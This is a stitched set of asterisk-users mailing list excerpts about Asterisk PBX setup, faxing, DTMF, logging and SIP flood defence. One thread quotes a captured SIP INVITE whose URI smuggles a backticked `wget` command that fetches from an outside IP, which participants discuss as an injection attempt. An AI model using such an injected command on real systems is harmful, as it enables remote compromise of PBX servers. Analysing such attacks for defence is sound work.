What have you actually tried? STRFTIME(NOW,America/Detroit,%3q) doesn't work?
-Original Message-
From: asterisk-users On Behalf Of
Antony Stone
Sent: Wednesday, March 16, 2022 8:20 AM
To: Asterisk Users Mailing List - Non-Commercial Discussion
Subject: Re: [asterisk-users] Decimal seco
and see if that helps with
your pickup issue.
Tom
-Original Message-
From: asterisk-users On Behalf Of
Karsten Wemheuer
Sent: Tuesday, March 1, 2022 10:51 AM
To: Asterisk Users Mailing List - Non-Commercial Discussion
Subject: Re: [asterisk-users] Pickup with pjsip not working
A
a
pickup code (some have default codes). So knowing what phones you are trying to
do this with might help solve it.
Tom
From: asterisk-users On Behalf Of
Joshua C. Colp
Sent: Tuesday, March 1, 2022 6:36 AM
To: Asterisk Users Mailing List - Non-Commercial Discussion
Subject
I believe that # in the default terminator for GET DATA and I don’t think that
can be disabled. But I’m not a 100% as I’ve always used # as the terminator.
From: asterisk-users On Behalf Of
Dovid Bender
Sent: Sunday, February 27, 2022 11:01 AM
To: Asterisk Users Mailing List - Non-Commercial
list campaign to an IVR to consider?
Tom
On 02/02/2017 10:17 PM, Pete Mundy wrote:
On 2/02/2017, at 9:52 pm, A J Stiles wrote:
but in simple solidarity with everyone who has ever
been pissed off by a machine-initiated spam marketing phone call at an
inappropriate moment, I am not going to
port card
Try using older Asterisk version (1.8.x) and older dahdi (2.6.x)
It should work then.
Mitul Limbani
On 10-Jul-2015 9:07 PM, "Tom Judge" wrote:
Hi running asterisk 13.x and dahdi-linux-complete-2.10.2+2.10.2. It looks like
the kernel drivers lod but in asterisk console
Hi running asterisk 13.x and dahdi-linux-complete-2.10.2+2.10.2. It looks like
the kernel drivers lod but in asterisk console dahdi show anything not working.
Trina to use a TDM410P pci card. Is this just too old and extinct card?Any
suggestions gratefully apprecuated. We are a small non
issue but as it's been going on for a while,
I'm not too confident it has.
Thanks,
Jamie
-Original Message-
From: asterisk-users-boun...@lists.digium.com
[mailto:asterisk-users-boun...@lists.digium.com] On Behalf Of Tom Peters
Sent: 07 July 2015 20:45
To: 'Asterisk Us
.@mcts.org
Desk: 414.343.1720 | Helpdesk: x3400 or helpd...@mcts.org
>>> "Jamie Rees" 7/7/2015 2:03 PM >>>
Hi Tom,
Thank you for your informative and helpful reply. I had considered using the
relaxdtmf setting but held off this due to not using any physical connection
hardwar
It's called DTMF Talk-off. We have it too. Seems worse when talking to mobile
phones but it happens at random on many external calls. If this happens to you,
especially on voice peaks (when the outside party said a particularly loud
syllable) then you probably have DTMF talk-off.
I think it's
uot;0?tertiary") in new
stack
Jun 22 03:29:26 deneb asterisk: [Jun 22 03:29:26] -- Executing
[4143446711@from-pstn:10] Dial("DAHDI/i2/8472977992-5f4c", "
Thomas M. Peters | Systems Administrator | tpet...@mcts.org
Desk: 414.343.1720 | Helpdesk: x3400 or he
t;>>
messages => error
states to log error messages to 'messages' log file
On 26 June 2015 at 17:50, Tom Peters wrote:
> Switched from Asterisk 1.8 to 13.3.2. Now it logs to
> /var/log/asterisk/full (good) as well as /var/log/messages (not good).
> Anyone kno
Switched from Asterisk 1.8 to 13.3.2. Now it logs to /var/log/asterisk/full
(good) as well as /var/log/messages (not good). Anyone know why?
# grep -v "^;" logger.conf
[general]
[logfiles]
console => notice,warning,error
messages => error
full => notice,warning,error,debug,verbose,dtmf,fax
Tha
Hello all, first post, need help. I'm running a complex asterisk 1.8 install
with five machines. I inherited it and don't fully understand it, nor the deep
mysteries of asterisk either. I would appreciate any insight you might have. I
scoured the 'net and the Digium wiki and my Google-Fu has fai
First I am new to PBX so i might be doing something fundamentally wrong...
That being said I got a FreePBX 32bit stable 6.12.65.
I am having some issue with the NAT and sound, both phones are ringing
but there is sound, I had some talk on IRC:
<[TK]D-Fender> Note for elfranne's situation, : na
I have a call recording (audio) requirement that isn't addressed by
local Monitor/Record features.
All signalling and media currently pass through the Asterisk servers,
so that won't be an issue.
Instead of locally recording audio, for certain calls I need to add
what is effectively a 3rd leg to
> You might want to check/compare disk-io & throughput on your G5 vs G7.
> Just a thought
Thanks Hans, I will do some disk benchmarking just in case. I do know
that I/O wait on the G7s has been an order of magnitude less than the
G5s under the same load so I *think* the fancier raid device an
I think I may have found the issue affecting our HP DL360 G7s (but I
don't begin to understand why this problem does not happen on our HP
DL360 G5 with a slower disk subsystem).
Recap: Running tcpdump on SIP UDP along with Asterisk 1.8.* causes
Autodestruct ... owner in place ... BYE messages whe
On Wed, Jun 13, 2012 at 9:06 PM, Andrew Joakimsen wrote:
> Make sure you have installed Proliant Support Pack (PSP) then you can
> monitor the system through HP System Management Homepage (SMH)
>
> HP publishes drivers for the network cards. I've never used them as
> the built in drivers seem to w
On Mon, Jun 4, 2012 at 12:15 AM, Steve Edwards
wrote:
> This AGI (which should only take about 20 seconds) occasionally takes a
> minute or 3 to complete, but it does complete.
You should also be seeing the Autodestruct message? I put a sleep 60
in my exit handler and can create that message on
Any tips on solving the following performance conundrum:
Asterisk 1.8.12.2 running on HP DL360 G5 and G7s
tcpdump running to capture UDP 5060/SIP signaling to .pcap files
All calls are ultimately B2BUA client -> asterisk -> PSTN
Media stays on Asterisk at all times
AGI script has exit handler
I'm probably over thinking this but would like to know what folks think about:
I have an array of identical Asterisk servers that are effectively
running a 'calling card' style application. First leg inbound
to validate a bunch of things and if all pass, second leg is outbound
and 'billable'.
C
On 01/06/2012 04:03 PM, Ross Cameron wrote:
On Sat, Jan 7, 2012 at 12:00 AM, Tom Poe <mailto:tom...@meltel.net>> wrote:
Just installed asterisknow 1.6. I can access freepbx. I need to
test system on my LAN. Which softphone is best to use? I'm
running ubuntu on Dell
Just installed asterisknow 1.6. I can access freepbx. I need to test
system on my LAN. Which softphone is best to use? I'm running ubuntu
on Dell optiplex G260 desktop at home. I'm hoping to setup basic IP PBX
for incoming/outgoing calls. No v
Anyone point me to discussion as to which is better choice for new
asterisknow user?
Thanks, Tom
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On Fri, Dec 2, 2011 at 12:44 PM, Steve Edwards
wrote:
> Gordon (based on my understanding of his posts) does a lot of Asterisk
> systems on very limited hardware hosts. His approach uses iptables features
> to limit the number of SIP INVITES and REGISTERS per second per IP address.
A very narrow
On Thu, Dec 1, 2011 at 8:30 AM, gincantalupo
wrote:
> Hi all,
>
> any idea about how to replace Skype For Asterisk?
>
> Thank You.
>
> Giorgio
>
We are going through this right now and have chosen to "Pay The Man"
via per channel subscription to Skype Connect.
Watch the fun video at:
http://www.
On Thu, Dec 1, 2011 at 8:13 AM, Gordon Henderson
wrote:
> Yes, I know exactly how Fail2Ban works.
Then you should be able to proffer a better argument of why it isn't necessary.
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On Tue, Nov 29, 2011 at 4:44 PM, john Millican wrote:
> Maybe I am misunderstanding the gist of the comment
OP offered an invalid comparison of how iptables is better than Fail2Ban.
Whether or not OP knew that Fail2Ban simply feeds rules to iptables is
unclear from his comments.
Log scraping i
On Sun, Nov 27, 2011 at 8:47 AM, Gordon Henderson
wrote:
> Linux has excellent built-in subsystems to control firewalling and so on
> without resorting to external programs. It's called iptables. If you know
> how to use them, then using an external resource such as fail2ban is
> unneccessary.
Th
So I did a little more digging and found a real simple answer:
${CHANNEL(audionativeformat)}
tells me 'ulaw' or 'siren14' and lets me pick the right file extension
for the record function.
On Tue, Sep 13, 2011 at 5:19 PM, Tom Browning wrote:
> Sorry if this is
I'm chasing down some DTMF interop issues would like to hopefully rule
out Asterisk in the following configuration:
RTP path is:
Linux/PC/Mac SIP clients -> [MediaProxy as needed] -> Asterisk 1.8.7
-> SIP termination provider(s)
DTMF is strictly RFC2833 with no in-band.
Asterisk stays in the med
Sorry if this is an obvious question and perhaps my Google foo isn't
right on this one:
I have calls coming into an Asterisk server that may be using 2
different codecs. I am recording audio in both cases but the
challenge is knowing which codec was negotiated at call setup. I need
to pass the p
hov
wrote:
> On 09/11/2011 07:05 PM, Tom Browning wrote:
>
>> INVITE
>> sip:00123456789000`wget\x20-O\x20/dev/null\x20http://91.223.89.94/V.php`@x.x.x.x
>> SIP/2.0.
>
> My guess is that this attack presumes you are running a web GUI such as
> FreePBX, and that it d
subject to injection via
URI?
Tom
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as
dio would continue to play to the inbound leg in addtion
to the bridged inbound audio.
Thanks in advance including any RTFM references :-)
Tom
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files in your TFTP directory? You need both
the RINGLIST.DAT file that specifies what files are available and what
they are called, PLUS the actual ring files themselves. All of my Cisco
ringer files are .pcm files, like "ATT,pcm", "ATT2.p
from the ps command that shows
the output, command line, and header for asterisk will help, too.
Tom
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p their
penalty? For how long?
Maybe some more specifics would help here.
Tom
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information on Call Monitoring and recording.
Specifically, call queues have monitoring options that will likely fit
your needs.
Are you running a GUI like FreePBX?
Tom
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On 01/31/2011 12:51 PM, salaheddine elharit wrote:
I have asterisk installed in our call center and i want to know how to
do in order to save all the calls (inbound and outbound) if there is any
tool
Yes, there is.
Tom
PS: Sorry, I couldn't r
On Jan 30, 2011, at 4:21 AM, Pezhman Lali wrote:
> Dear,
> Faxter is an opensource email to fax gateway,
> please check it, let me know if any bug.
>
> best
I'll get right on that.
Tom
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On 01/26/2011 2:16 PM, Kevin P. Fleming wrote:
On 01/26/2011 01:12 PM, Tom Rymes wrote:
On 01/26/2011 1:49 PM, Kevin P. Fleming wrote:
Am I correct to infer that using app_fax.so is no longer recommended and
that res_fax.so with res_fax_spandsp.so -OR- res_fax_digium.so is now
the way to
module. In other words, I think that multiple
modules provide applications named ReceiveFax and SendFAX.
Am I correct to infer that using app_fax.so is no longer recommended and
that res_fax.so with res_fax_spandsp.so -OR- res_fax_digium.so is now
the way to go?
Tom
e and Pandion are both good in my experience.
Tom
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d will move
to rolling my own as things move along.
Many thanks,
Tom
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OK, I generally use Hylafax+IAXModem for our faxing, but I have been
fiddling with FFA and SpanDSP for a while.
Is there a good way to determine what version of SpanDSP I have
installed and whether the app_fax.so module is the same version?
Many thanks,
Tom
On 01/21/2011 8:59 AM, Steve Underwood wrote:
On 01/21/2011 08:37 PM, Tom Rymes wrote:
On Jan 20, 2011, at 8:52 PM, Steve Underwood wrote:
[snip]
Its easy to set up some t38modem channels and some iaxmodem channels for
receiving FAXes. Transmit is more problematic. With this split config
on the port it came in on, not based on a DID.
Tom
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h
andles t.38.
In other words, you could route t.38 faxes to it on port 1 and audio faxes on
port2, but you cannot have port 1 handle both types.
Tom
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Ne
On Jan 20, 2011, at 5:52 PM, Amit Nepal wrote:
> On 1/20/2011 3:07 PM, Tom Rymes wrote:
>> On 01/20/2011 4:26 PM, Amit Nepal wrote:
>>
>>> I have an Audio code gateway between two asterisk servers. The audio
>>> code has PRI connected for PSTN. I can send faxes
o
"AST 1.4" via t.38 that never hits the PSTN. Have you tried sending a
fax from "AST 1.6" out via the PSTN, and then back in via the PSTN to
"AST 1.4"?
Tom
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On 01/19/2011 10:34 PM, Da Rock wrote:
WARNING[988]: chan_sip.c:19069 handle_response_invite: Re-invite to
non-existing call leg on other UA. SIP dialog
'481cf0543743e6bb7006991d409ed3bc@150.101.178.33:5060'. Giving up.
Have you tried disallowing re-invites?
--
___
hat one separately. This is the
same reason you cannot register two devices to the same extension.
Have you checked the logs and verified that the SIP provider actually
sends 59595959 when you dial that number? Or do you get sent 52525252 no
matter what?
Someone please correct me
On Jan 19, 2011, at 11:08 PM, DSR wrote:
> Is there anyway to play prerecorded agent intro-speech (like "Hello, my name
> is ") to outside caller when agent picks up?
I don't know of a way to do that, but I can say that, as a caller, it is highly
annoying. Your agents ought to be able to do
another that begins with "_0"),
one that connects them to the outside line and sends everything out to the
telco, including the "0".
Just a guess, but it sounds right to me. If so, you need to modify the dial
command to strip the "0" before sending it.
Tom
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y.
>
> Oh C'mon this is definitely lazy never heard of CTRL+END it works in Outlook
How amusing that you follow that statement by being too lazy to trim all of the
irrelevant crud after your comment by pres
imply that
SendeFax (which looks like a typo to me) is correct in the second sentence,
then reverse yourself in the last parenthetical statement.
Tom
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passed to the DAHDI
channel by asterisk?
In other words, which of the following is your situation:
1.) User dials 0X, asterisk sends 0X to the telco.
2.) User dials 0X, asterisk parses "0", strips it, and sends X
to the telco.
T
), and it is an excellent solution. I also have some experience
with their HylaFAX client, which is included with the server, and I can
say it is very well done.
Might be worth the cash for large fax users like you describe.
Tom
--
___
e argument is between:
1.) Top Posting - No Trimming
2.) Bottom or interleaved posting WITH TRIMMING.
In fact, I'd rather you top post and trim than bottom post and not.
That's one thing we can all agree on.
Tom
[going b
e with FXS
ports for plugging in analog telephones as extensions. Any of the E1 cards you
are looking at will not require any additional power beyond what the
motherboard provides to the slot.
Tom
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I had known about it years ago!
Also, http://mailformat.dan.info/config/outlook.html shows the general steps
needed to make Outlook approximate standards.
HTH,
Tom
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up a number of lines (more if you have a very verbose installation, like
FreePBX) and see if anything pops out at you. Basically, you want to figure out
what was happening on the server at the time of the crash? Incoming fax? Hangup
of a Dahdi channel? Incoming Dahdi call, etc.
That will likely
trimming posts, so that only that
portion of a previous message that you need for context is included, making the
entire message compact and nicely legible.
Tom
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On Jan 14, 2011, at 7:12 PM, Bruce B wrote:
> Thanks. That is in both TCP and UDP for SIP right? or simply UDP would do it
> as well? I am talking strictly in case of Asterisk.
Asterisk 1.6 and newer support SIP over TCP. Older versions were UDP only, IIRC
oters from the list.
As for your question about ports (see, I can stay on topic occasionally!),
someone already mentioned something about some equipment using 5004 for RTP,
IIRC, and I mentioned the common use of 5061, 5062, 5063, etc for multiple SIP
clients behind NAT. There may be other
lite many places, and illogical
everywhere. This is because we normally read top to bottom, but top-posting
forces you to read bottom to top.
Tom
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New to Aster
kely, it's because only one client behind NAT can use port 5060,
so other clients need to use other ports. Could be another reason, though.
Tom
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New to
While we're at it, can someone please tell me whether I should be using
vi or emacs? ;-)
Many thanks,
Tom
PS: Bilal: You have asked a nearly unanswerable question. Some prefer
one, some prefer the other. Both cards are quality items. I can say that
I only have experience with Sangoma
On 01/13/2011 2:07 PM, Tom Rymes wrote:
That will require additions to your login/logout context that write
entries to the log each and every time a user logs in/out. You can then
report on that data.
While there's a thread going on about this topic, and while I've written
the abo
is one. Have you
checked into Queuemetrics at http://www.queuemetrics.com ?
Tom
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On Jan 9, 2011, at 8:27 AM, William Stillwell wrote:
> Anybody notice log delays in this list, and very small amount of traffic?
I have noticed multiple hour delays between sending messages and seeing them
back.
the
same circuit. That choice of codec eliminates the ability to send/receive
faxes, though, and it's likely expensive when compared to other SIP solutions,
but it does appear to be pretty slick.
Another benefit of SIP is that it doesn't require a Digium, Sangoma, or similar
interfac
On Jan 6, 2011, at 10:05 AM, Andy Graybeal wrote:
> On 01/05/2011 01:51 PM, Tom Rymes wrote:
>> On 01/05/2011 7:50 AM, Andy Graybeal wrote:
>>
>>> We've got two noisy kitchens that need to talk back and forth.
>>
>> Andy,
>>
>> Why, exactly
ise be answered by a non-FAX endpoint (IVR, voicemail, user with
> a phone, etc.)
That does make sense: the incoming calls are directed to a FreePBX ring group
consisting of three IAXModems handled by HylaFAX, and I am fairl
e for making phone calls?
Tom
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asterisk-
more
intuitive.
If you use a non-Digium card, you'll need to update those
configurations, too.
Tom
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wctdm24xxp, or if it has already been
made. Can anyone clarify?
Many thanks,
Tom
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other program to handle the mp3 files?
I am fairly certain that Asterisk cannot handle mp3 natively (most
likely for licensing reasons).
Tom
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New to
tty small installation and you might decide
that the additional cost is justified.
Tom
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On 01/04/2011 8:55 AM, Kevin P. Fleming wrote:
On 01/03/2011 06:47 PM, Thomas Rymes wrote:
On Jan 3, 2011, at 3:22 PM, Kevin P. Fleming wrote:
On 01/03/2011 11:26 AM, Tom Rymes wrote:
[snip]
OK. Either way, though, the changes to echo cancellation are not
affected by the faxdetect setting
give them a call.
Tom
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asterisk-users ma
DAHDI affect that
behavior?
Many thanks,
Tom
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N} but
I realize this won't work for extension 's'..
The short google search I did didn't turn up anything concrete.
Thank you!
-Tom
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trying
asterisks functionality.
Many thanks in advance!
-Tom
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Music/Computer Science
Drumline Captain 2010
Computer Center Intern 2010
(877)389-BACH
tom.lohmul...@gmail.com
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e towel on the
call setup
Is there a knob I can adjust this behavior? The original To: is never
molested in the same way, just the Contact header.
Thanks in advance,
Tom
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with Joshua Steins blog post - it worked perfect for me and got it off my
back.
Cheers,
Tom
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Good article - might solve our problems for now:
http://jcs.org/notaweblog/2010/04/11/properly_stopping_a_sip_flood
He got the bots to stop by writing a ruby script that responds back to them
with a SIP 200 OK.
I'm going give it a go when I'm back home...
Ch
Yeah - I've reported it to the EC2 abuse address about 10 hours ago, with no
response as of yet.
I'm waiting on my ISP to see if they can block anything further upstream.
I should be lucky it's not 6Gbps like some!
Cheers,
Tom
-Original Message-
From: aste
Hi,
This is exactly what I've just joined this mailing list about.
Has anyone has any luck getting Amazon to stop the instances? I'm stuck with
around 700Kbps of my 2.5Mbps inbound in use as my firewall blocks the requests
as below.
Cheers,
Tom
-Original Message-
From
hi
anyone experience with that and maybe asterisk / switchvox?
thx
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phone and when they pick up then it should call the
recipient.
i did this with a call-file, but i'l like to do this via url...
thats the whole scenario.
thx tom
On Tue, Feb 9, 2010 at 3:30 PM, Tzafrir Cohen wrote:
> On Tue, Feb 09, 2010 at 01:48:35PM -0500, tom wrote:
>> hi,
>&g
thx danny, i checked ur link, but not sure for what to search in terms
off http/js/ajax...
my application is a rails, so adhearison / rami apps sound goo dto me,
but if possible i would go without the roundtrip to my application
server
tom
On Tue, Feb 9, 2010 at 1:59 PM, Danny Nicholas
hi,
i havent spent that much time with asterisk lately, but still wanted
to gather information on how to initiate a call:
1) fact
what i know which is possible:
- via call-file
- via (sip)-client
- AGI
2) desired
- URL
--> is this possbile?
3) others
--> whats missing here?
thx
--
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Your sound file needs to be in the asterisk sounds directory.
Another thing is that you may not have to put the file extension in the name
if the file is in the proper place as well.
Try that and see what happens.
Tom
-Original Message-
From: asterisk-users-boun...@lists.digium.com
??? english please
On Thu, Dec 10, 2009 at 8:34 AM, Hakan C wrote:
> Selam Yavuzhan,
>
> Backup paneli yerine, elle backup almayi deneyebilirsin.
> Ayrica Trixbox icin buradan destek alabilecegini zannetmem.
> Trixbox'in kendi forumlarina yaz derim.
>
> Kolay gelsin.
>
> On Wed, Dec 9, 2009 at
when that person initiates a call as well the main-ext or
do is this a setting somewhere?
thx again
regs tom
On Wed, Nov 25, 2009 at 12:16 PM, Ryan Wagoner wrote:
> I setup another extension for the softphone and enable followme on
> their main extension to ring both. For example 8678
hi,
we are running a switchvox system, and i would like to know what the
practice is for users who are working party in the main office and on some
other days with their laptops either from home of on the road...
right now i told them to unplugg the hardphone, coz having a softphone and
the hardph
On Tue, Nov 10, 2009 at 3:39 PM, Kevin P. Fleming wrote:
> They are, but we won't be able to know what is happening unless you post
> a detailed console log like I suggested in my previous reply.
-- Attempting call on SIP/f...@bar.com for d...@default:1 (Retry 1)
[Nov 10 17:32:37] DEBUG[28977
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